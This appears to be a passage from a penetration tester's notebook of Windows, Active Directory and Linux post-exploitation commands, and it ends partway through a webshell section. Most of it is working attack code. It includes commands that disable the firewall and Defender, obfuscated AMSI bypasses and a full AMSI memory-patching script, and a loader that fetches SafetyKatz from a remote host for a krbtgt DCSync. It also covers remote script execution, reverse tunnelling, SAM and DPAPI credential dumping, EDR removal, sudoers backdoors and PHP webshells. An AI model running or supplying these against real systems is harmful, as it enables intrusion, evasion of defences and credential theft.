xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:support.htb /u:asuka /p:'TrYh@rdeR!' +nego /drive:Tools,/home/asuka/Tools/ActiveDirectory/
rdesktop support.htb

# fix ERRCONNECT_TLS_CONNECT_FAILED
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:support.htb /u:asuka /p:'TrYh@rdeR!' +nego /drive:Tools,/home/asuka/Tools/ActiveDirectory/ /tls-seclevel:0
```

{% endcode %}

## Defender and Firewall Stuff

### Turn Off Firewall

{% code overflow="wrap" %}

```powershell
# powershell
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# cmd
netsh advfirewall set allprofiles state off
```

{% endcode %}

### Disable Defender Real Time Monitoring

{% code overflow="wrap" %}

```powershell
# Remove Defender Database
cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Get-MpComputerStatus
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -ExclusionExtension "ps1"
Set-MPPreference -DisableBehaviorMonitoring $true

# Disable AMSI (set to 0 to enable)
Set-MpPreference -DisableScriptScanning 1 

# Check all exclusion folder
Get-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPath
# Add folder exclusion (in case tamper protection is enabled)
Add-MpPreference -ExclusionPath C:\Mimikatz\

# Disable Real Time Protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
```

{% endcode %}

### Bypassing PowerShell Security

Using InviShell - <https://github.com/OmerYa/Invisi-Shell>

{% code overflow="wrap" %}

```
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
```

{% endcode %}

### AMSI Bypass

Detection: <https://github.com/RythmStick/AMSITrigger>

{% tabs %}
{% tab title="2023" %}
{% code overflow="wrap" %}

```powershell
$a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils'-f $b,$a)); $z=$Ref.GetField(('am{0}InitFailed'-f$a),'NonPublic,Static');$z.SetValue($null,$true)
```

{% endcode %}
{% endtab %}

{% tab title="CRTP" %}
{% code overflow="wrap" %}

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

{% endcode %}
{% endtab %}

{% tab title="Base64" %}
{% code overflow="wrap" %}

```powershell
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
```

{% endcode %}
{% endtab %}
{% endtabs %}

### OPSEC with Loader

{% code overflow="wrap" %}

```powershell
C:\AD\Tools\Loader.exe -path http://172.16.100.67/SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"
```

{% endcode %}

### Get-ClipboardContents

Monitors the clipboard on a specified interval for changes to copied text.

{% code overflow="wrap" %}

```powershell
iex (iwr -usebasicparsing https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ClipboardContents.ps1);Get-ClipboardContents
```

{% endcode %}

### WADComs

WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments.

* <https://wadcoms.github.io/>

### Dump Saved Password

* [BrowserStealer](https://github.com/SaulBerrenson/BrowserStealer)
* [LaZagne](https://github.com/AlessandroZ/LaZagne)
* Mimikatz

### TCP Port Scanner

{% code overflow="wrap" %}

```powershell
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("172.16.8.1",$_)) "Port $_ is open!"} 2>$null # powershell
```

{% endcode %}

### Ping Sweep

{% code overflow="wrap" %}

```powershell
for /l %i in (1,1,254) do @ping -n 1 -w 100 172.16.8.%i > nul && echo 172.16.8.%i is up. # cmd
```

{% endcode %}

### Inveigh

Responder, but in Powershell/C#

* <https://github.com/Kevin-Robertson/Inveigh>

### MDE Enum

How to extract Windows Defender Exclusions and Attack Surface Reduction (ASR) rules without Admin privileges

* <https://github.com/0xsp-SRD/MDE_Enum>

{% code overflow="wrap" %}

```bash
# local
mde-enum.exe /local /paths /access
# remote
mde-enum.exe <ip> <username> <password> <domain> /paths
# i.e
.\mde-enum.exe 172.16.8.148 asuka Asuka@1337 child.zerobyte.lab /paths
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-s8CjvYH04yAIm9dffLa8xRTnARSQR9gd8WKp6fZxTrQEMkCc-NAlewZB_1H5nAQzO4zxKf1FUQTfKLGKoTfTSIs6L3FmkbbMoXZggddyNVk5SlYwrqshBUKujEWox-CIOs25DspgkCVe9FQwcN8owuUqLZfh1JMlr0b3qawe1JMJMkyYbO_58cnPRX8/s872/mde-enum.png" alt=""><figcaption><p>MDE Enum</p></figcaption></figure>

Or, use this Powershell script.

```powershell
$logName = "Microsoft-Windows-Windows Defender/Operational"
$eventID = 5007
$events = Get-WinEvent -LogName $logName | Where-Object { $_.Id -eq $eventID }
$exclusionEvents = $events | Where-Object { $_.Message -match "Exclusions" }
$pattern = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\[^\s]+"
$exclusionEvents | ForEach-Object {
    if ($_.Message -match $pattern) {
        $matches[0]
    }
}
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizy7s-PGsq5vpXfy6QMsH7TTl3qm5lWLyL8oNYRVVa3vIjHK4EAg3gKIszCqdCjjm-LRAGNGmfpWkBvpRAg8MwWaL2J-2XKo6HdmwJpynygsbkUXmyg0M3ikgGyt5Hq1gga3GQA04CDqoMqRW6NZuFWP-D2rTnHrIrZNuszuphAH56xwx2x1XJtpGkaBw/s742/mde-enum-powershell.png" alt=""><figcaption><p>Enumerate Defender Exclusions</p></figcaption></figure>

Reference:

* <https://x.com/VakninHai/status/1796628601535652289>

### Other Useful Stuff

* <https://github.com/r3motecontrol/Ghostpack-CompiledBinaries>
* <https://github.com/Flangvik/SharpCollection>


# Tunneling with Ligolo-ng

Tunneling with Ligolo-ng

Ligolo-ng is a tool used for tunneling network traffic, primarily in penetration testing and security assessments. Its main purpose is to create a secure tunnel between a compromised machine and an attacker's server, allowing the attacker to access internal networks or services that are not directly reachable from the outside. This is especially useful for bypassing firewalls and for exfiltrating data or gaining further access within a target network. Ligolo-ng can support various protocols, making it versatile for different scenarios.

### From Attacker Side - Start Server

{% code overflow="wrap" %}

```bash
sudo ligolo-proxy -selfcert
interface_create --name "oscp-chall"
```

{% endcode %}

### From Victim Side - Connect to Server

{% code overflow="wrap" %}

```powershell
start /B ligolo-agent.exe -ignore-cert -connect 192.168.45.188:11601
```

{% endcode %}

### From Attacker Side - Start Tunneling

Then, from attacker side, after agent joined, run:

{% code overflow="wrap" %}

```bash
session
tunnel_start --tun "oscp-chall"
ifconfig
interface_add_route --name oscp-chall --route 10.10.70.0/24
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmcPHJfOlTfe2PKc0mF7qJ1Z3s_VhUb7V90x_gD7U9LCmrXQVFgIL4TMOItkViqt9UNUdVxJ5aQ840OaxYXfhdycxFQ6ESfva2634ZBrCVyrAviF9dZ8onBvclYyUe2OZ7-dWf-flZSlA_U-GusL33vUskm6EGItnAZtQbX2QSyJkm0YRPazhxm7cw45s/s1000/ligolo-tunneling.png" alt=""><figcaption><p>Ligolo Proxy</p></figcaption></figure>

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD_j5E9segsjkDNnswycyDHUWHpcJ9Qn0VrYbzsDjgwSD49ykTPDIVIueAJk7FRxbZUOxmJiBeXkhKSUMuiCZevVo-UKeBtEAIbU6PRGV3vl0Wodr7dJZbinuewa-MypT_7lGPEfj_TRPBGmzIBZnILteBE_RtjE5VwpOB5vcSMKLcz2Ay0PIVM_7pCFs/s1072/route%20add.png" alt=""><figcaption><p>Add new route</p></figcaption></figure>

Now, our machine will able to access internal targets.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjONfK2_6NjnC03dYAqkHNsaki6sa-RXCULDwXtmxKefZOR0FViXPwbX4-nv-Q9EDzOanKqitS7zUzG8H2z8I-PnztBFPxrG6Pax11G1VyeNqNNabxoe_tauCYzC2qKgrWCAZekvqKHFCJHrktHQxWHbpO2C6AKPZ9GlnG_zGKbCTIVicxRoPt_vXHIgSU/s1067/internal%20targets.png" alt=""><figcaption><p>Internal Access</p></figcaption></figure>


# Credential Hunting

Common technique and tools to hunt credentials on Windows or Active Directory

* [x] Group Policy Preferences
* [x] Powershell History
* [x] From Document Files
* [x] LaZagne / Mimikatz (elevated shell)
* [x] DPAPI Credential Dumping (NetExec, dploot)


# Group Policy Preferences

Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

There is already bunch of article that discuss about this topic. Some of them are:

* <https://adsecurity.org/?p=2288>
* <https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/>
* <https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/>

The quickest way to hunting credentials from GPP is using **impacket-Get-GPPPassword**.

```bash
# with a NULL session
impacket-Get-GPPPassword -no-pass 'DOMAIN_CONTROLLER'
# with cleartext credentials
impacket-Get-GPPPassword 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr7NnRX2_ebMwQMG0YN77lW_mHkWruGhf6y_tuFVhpNnoterUZVGDdaGb_6684gvzDYJSlmzp_TwiMam_Uf9xAr8grRLcHyA4cfDevSBybUX9PyXc7_0kE6Fk_eImkIt-z04qd8zsEaw4BxxAuag-ZpekA7lcBTHMpuwYx-5RjItqoYnu46Cr37uSgfxU/s1008/loot%20gpp%20password.png" alt=""><figcaption><p>cPassword</p></figcaption></figure>

And then, you can verify the credentials using NetExec or Evil-WinRM.

{% code overflow="wrap" %}

```bash
netexec smb TARGET -u 'username' -p 'password'
```

{% endcode %}


# DPAPI

Credentials Dumping from Data Protection API

## From Low Users

### Manual Approach

Locating credential files:

{% code overflow="wrap" %}

```powershell
dir /A C:\Users\yuyudhn\AppData\Local\Microsoft\Credentials\
dir /A C:\Users\yuyudhn\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Roaming\Microsoft\Credentials\
```

{% endcode %}

Locating masterkeys:

```powershell
dir /A C:\Users\yuyudhn\AppData\Roaming\Microsoft\Protect\
dir /A C:\Users\yuyudhn\AppData\Local\Microsoft\Protect\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Force C:\Users\yuyudhn\AppData\Local\Microsoft\Protect\
```

Usually, the structure is like this:

{% code overflow="wrap" %}

```
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID
```

{% endcode %}

Download all credential files and masterkeys to attacker machine. And then extract the credentials using impacket-dpapi.

Decrypt masterkey

{% code overflow="wrap" %}

```bash
impacket-dpapi masterkey -file $masterkey -sid $SID -password Password1213!
```

{% endcode %}

Or if you have the backup key:

```bash
impacket-dpapi masterkey -file $masterkey -sid $SID -pvk key.pvk
```

Grab credentials:

{% code overflow="wrap" %}

```bash
impacket-dpapi credential -file $credsfile -key $decryptedkey
```

{% endcode %}

### Mimikatz

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\yuyudhn\AppData\Roaming\Microsoft\Protect\$SID\$GID /sid:$SID /password:Password1337 /protected" "exit"'
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\yuyudhn\AppData\Roaming\Microsoft\Credentials\$credsfile /masterkey:$decryptedkey"'
```

{% endcode %}

## From Administrator

{% code overflow="wrap" %}

```bash
netexec smb target.local -u Administrator -p Password123 --local-auth --dpapi
```

{% endcode %}

## Other tools

* [**DonPAPI**](https://github.com/login-securite/DonPAPI)
* [**dploot**](https://github.com/zblurx/dploot)
* [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)


# Defense Evasion

TA0005 - Defense Evasion

Defensive evasion is a technique used by attackers to avoid being detected while breaching an IT system. It's a part of the MITRE ATT\&CK database, a publicly available security toolkit that helps companies deal with cyber threats.


# Physical Attack: Remove EDR

Remove EDR and XDR via Physical Attack

### MITRE ATT\&CK

* **T1562.001 - Impair Defenses: Disable or Modify Tools**
* **T1070.003 - Indicator Removal on Host: File Deletion**

Okay, let’s assume you are on an Assume Breach engagement. The client provides you with an employee’s laptop or computer that is already standardized with endpoint security, such as EDR or XDR. You can try this approach to completely disable the EDR from the device:

1. Unplug the internal SSD or hard disk from the employee's laptop.
2. Boot into your Linux OS and treat the employee’s SSD as an external drive.
3. Then, run this command:

Check Encryption Type

```bash
lsblk /dev/xxx -o NAME,FSTYPE
```

BitLocker Encryption Decrypt

```bash
mkdir /mnt/bitlocker
mkdir /mnt/bitlocker_unlocked
dislocker -V /dev/nvme0n1p3 -- /mnt/bitlocker # assume C: drive on this location)
mount -o loop /mnt/bitlocker/dislocker-file /mnt/bitlocker_unlocked/
ls -la /mnt/bitlocker_unlocked/
```

Remove EDR

```bash
cd /mnt/bitlocker_unlocked/
rm -rf "Program Files/EDR Product"
rm -rf "Program Files(x86)/EDR Product"
```

Dump SAM

```bash
cd /mnt/bitlocker_unlocked/Windows/System32/config
pypykatz registry --sam SAM --security SECURITY SYSTEM 
```

Remove Local Admin password:

```bash
cd /mnt/bitlocker_unlocked/Windows/System32/config
chntpw -l SAM
chntpw -u Administrator SAM
```

4. Put the drive back into the employee’s laptop.
5. Boot into Windows and log in as an Administrator.
6. Promote your user account to Local Administrator.
7. If NDR (Network Detection and Response) is not implemented, you can use the device to attack the internal network. This is because the device remains connected to the internal network, but with EDR and XDR removed.


# AMSI Bypass

Antimalware Scan Interface (AMSI) Bypass

### MITRE ATT\&CK

**T1562.001 - Impair Defenses: Disable or Modify Tools**

**Description:**

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.

### AMSI Patch

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn9RdQYNznIixLFSfvlM5q4CmArqalAyo3jKwha5p8CE_0BS791sHB4FMjOe7PUsFfcWYFdgd4084wzlHj5qi7ouMYhOkpa13aoo0ZJNAsSPMnVMUOJTeaBdAX6_j-YhKLfTj39zdJAyDzUovLrSLBko2cuuQiHesdVp-PWBacPIIQVB9MN0P-vJ_ocKY/s1000" alt=""><figcaption><p>AMSI Patch</p></figcaption></figure>

{% code overflow="wrap" %}

```powershell
[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils' -f 'Am', 'si')).GetField(('am{0}InitFailed' -f 'si'),'NonPublic,Static').("Set" + "Value")($null,$true)
```

{% endcode %}

### From CRTP Module

{% code overflow="wrap" %}

```csharp
S`eT-It`em ( 'V'+'aR' +  'IA' + (('b'+("{1}{0}"-f':1','lE'))+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f(('U'+'ti')+'l'),'A',('Am'+'si'),(('.'+'Man')+('ag'+'e')+('me'+'n')+'t.'),('u'+'to'+(("{1}{0}"-f 'io','mat')+'n.')),'s',(('Sys'+'t')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+('ms'+'i')),'d',('I'+('n'+'itF')+('a'+'ile'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+('t'+'at')),'i',(('N'+'on')+('Pu'+'bl')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

{% endcode %}

### Manual Modification

{% code overflow="wrap" %}

```csharp
[Ref].Assembly.GetType('Syst'+'em.Manag'+'ement.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
```

{% endcode %}

### AMSI Write Raid Bypass

```csharp
function MagicBypass {

# Define named parameters
param(
    $InitialStart = 0x50000,
    $NegativeOffset= 0x50000,
    $MaxOffset = 0x1000000,
    $ReadBytes = 0x50000
)

$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

public class APIs {
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();

    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
   
    [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
    public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);

    [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
    public static int Dummy() {
     return 1;
    }
}
"@

Add-Type $APIs

$InitialDate=Get-Date;

$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')

$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')

$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')

$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)

$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
  ForEach-Object {
    if($_.Location -ne $null){
     $split1 = $_.FullName.Split(",")[0]
     If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
       $Types = $_.GetTypes()
     }
    }
}

$Types |
  ForEach-Object {
    if($_.Name -ne $null){
     If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
       $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
     }
    }
}

$Methods |
  ForEach-Object {
    if($_.Name -ne $null){
     If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
       $MethodFound = $_
     }
    }
}

[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0
$ApiReturn = $false
   
:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
    [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
    $ReadedMemoryArray = [byte[]]::new($ReadBytes)
    $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
    for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
     $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7])
     [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
     if ($PointerToCompare -eq $funcAddr) {
       Write-Host "Found @ $($i)!"
       [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
       break initialloop
     }
    }
}
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)

$FinishDate=Get-Date;
$TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds;
Write-Host "$TimeElapsed seconds"
}
MagicBypass

```

### Resource

* <https://github.com/sinfulz/JustEvadeBro>
* <https://s3cur3th1ssh1t.github.io/Bypass\\_AMSI\\_by\\_manual\\_modification/>
* <https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/>
* <https://www.offsec.com/blog/amsi-write-raid-0day-vulnerability/>
* <https://github.com/anonymous300502/Nuke-AMSI>


# Credential Access

TA0006 - Credential Access

The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.


# Dump SAM Hashes via Registry

Assume you are already have NT SYSTEM or Administrator access on system. Or, you have Backup Operator role.

```powershell
reg save hklm\system system.oscp
reg save hklm\security security.oscp
reg save hklm\sam sam.oscp
```

Download the file to attacker machine, and get the hash value using pypykayz.

{% code overflow="wrap" %}

```bash
pypykatz registry system.oscp --sam sam.oscp --security security.oscp
```

{% endcode %}

Or use secretsdump.

{% code overflow="wrap" %}

```bash
impacket-secretsdump -sam sam.oscp -security security.oscp -system system.oscp LOCAL
```

{% endcode %}


# Misc

Miscellaneous Commands

### Run EXE Files From Linux

```bash
sudo apt-get install mono-complete
mono apps.exe
```

{% hint style="info" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Linux Post Exploitation

Post Exploitation on Linux

### Common Tools

* [**GTFOBins**](https://gtfobins.github.io/) **-** GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
* [**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) **-** Linux local Privilege Escalation Awesome Script (linPEAS) is a script that search for possible paths to escalate privileges on Linux/Unix.
* [**pspy**](https://github.com/DominicBreuker/pspy) - Monitor linux processes without root permissions
* [**pamspy**](https://github.com/citronneur/pamspy) - Credentials Dumper for Linux

### **SUID**

Although SUID binaries can be detected using LinPEAS, you can also run the following command to identify SUID files on the system.

```bash
find / -perm -u=s -type f 2>/dev/null
```

### swap\_digger

swap\_digger is a bash script used to automate Linux swap analysis for post-exploitation or forensics purpose. It automates swap extraction and searches for Linux user credentials, Web form credentials, Web form emails, HTTP basic authentication, WiFi SSID and keys, etc.

{% code overflow="wrap" %}

```bash
git clone https://github.com/sevagas/swap_digger.git
cd swap_digger
chmod +x swap_digger.sh
sudo ./swap_digger.sh -vx
```

{% endcode %}

### mimipenguin

A tool to dump the login password from the current linux user.

* <https://github.com/huntergregal/mimipenguin>

### Add User as Passwordless Sudo

{% code overflow="wrap" %}

```bash
echo 'asuka    ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers
```

{% endcode %}

### Ping Sweep with Bash

* [**ping-sweep.sh**](https://raw.githubusercontent.com/yuyudhn/nino-stuff/main/bash/ping-sweep.sh)

{% code overflow="wrap" %}

```bash
➜  bash git:(main) bash ping-sweep.sh 192.168.1.1-254
192.168.1.1
192.168.1.4
192.168.1.5
192.168.1.2
192.168.1.7
192.168.1.8
192.168.1.15
192.168.1.30
192.168.1.14
192.168.1.24
192.168.1.12
192.168.1.22
```

{% endcode %}

### Port Scan with Bash

* [**port-scan-nc.sh**](https://raw.githubusercontent.com/yuyudhn/nino-stuff/main/bash/port-scan-nc.sh)

Port scanning with netcat.

{% code overflow="wrap" %}

```bash
➜  bash git:(main) bash port-scan-nc.sh 192.168.1.1 1-5000
Scanning ports 1 to 5000 on 192.168.1.1...
[192.168.1.1] 21 (ftp) open
[192.168.1.1] 53 (domain) open
[192.168.1.1] 80 (http) open
[192.168.1.1] 443 (https) open
```

{% endcode %}

* [**port-scan.sh**](https://raw.githubusercontent.com/yuyudhn/nino-stuff/main/bash/port-scan.sh)

Simple TCP port scanning with bash.

{% code overflow="wrap" %}

```bash
➜  bash git:(main) bash port-scan.sh 192.168.1.1 1 5000
Scanning 192.168.1.1 (ports 1 to 5000)
PORT    STATE   SERVICE
21/tcp  open    ftp
53/tcp  open    domain
80/tcp  open    http
443/tcp open    https
```

{% endcode %}

{% hint style="info" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Linux Password Hunting

Common Password Attack on Linux Machine

### Config Files Search

{% code overflow="wrap" %}

```bash
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
```

{% endcode %}

### Credentials in Configuration Files

{% code overflow="wrap" %}

```bash
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
```

{% endcode %}

### Database Backup Search

{% code overflow="wrap" %}

```bash
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
```

{% endcode %}

### Search Notes/txt Files

{% code overflow="wrap" %}

```bash
find /home/* -type f -name "*.txt"
```

{% endcode %}

### Search Scripts on Linux

{% code overflow="wrap" %}

```bash
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
```

{% endcode %}

### Search Cronjob

{% code overflow="wrap" %}

```bash
cat /etc/crontab
ls -la /etc/cron.*/
```

{% endcode %}

### Search SSH Private Key

{% code overflow="wrap" %}

```bash
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
```

{% endcode %}

### File History

{% code overflow="wrap" %}

```bash
find / -type f -name "*history" 2>/dev/null
tail -n5 /home/*/.*_history*
```

{% endcode %}

### Search Password in PHP Files

{% code overflow="wrap" %}

```bash
grep -iRl "password\|passwd" /var/www --include=*.php
```

{% endcode %}

### Cracking Linux Credentials

{% code overflow="wrap" %}

```bash
# unshadow local creds
unshadow passwd.bak shadow.bak > unshadow.txt
# Perform Dictionary Attack
hashcat -m 1800 -a 0 unshadow.txt /usr/share/wordlists/rockyou.txt -o cracked_shadow
```

{% endcode %}

Take a look at the unshadow\.txt file. The field after the username (with a number or letter between two dollar signs) is the one that identifies the hash type used. It could be one of the following:

1. **$1$** is MD5
2. **$2a$** is Blowfish
3. **$2y$** is Blowfish
4. **$5$** is SHA-256
5. **$6$** is SHA-512
6. **$y$** is yescrypt

For **$y$**, for example, you can use the command:

{% code overflow="wrap" %}

```bash
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt
```

{% endcode %}

### Tools

* <https://github.com/unode/firefox_decrypt>
* <https://github.com/huntergregal/mimipenguin>
* <https://github.com/AlessandroZ/LaZagne/tree/master/Linux>


# Simple PHP Webshell

Several list of simple and obfuscate PHP shell

### Simple PHP Webshell

#### Simple HTTP Requests GET Method Shell

```
<?=`$_GET[0]`?>

[*] Usage: http://target.com/path/to/shell.php?0=command
```

#### Simple HTTP Requests POST Method Shell

```
<?=`$_POST[0]`?>

[*] Usage: curl -X POST http://target.com/path/to/shell.php -d "0=command"
```

#### Support GET and POST Requests Method

```
<?=`{$_REQUEST['_']}`?>

[*] Usage:
 - http://target.com/path/to/shell.php?_=command
 - curl -X POST http://target.com/path/to/shell.php -d "_=command"
```

### Simple Obfuscated PHP Web Shell

#### Obfuscated PHP Web shell Example

```
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

[*] Usage: http://target.com/path/to/shell.php?0=command
[*] Note: This is obfuscation of <?=`$_GET[0]`?>
```

#### Non-alphanumeric obfuscation PHP Web Shell

```php
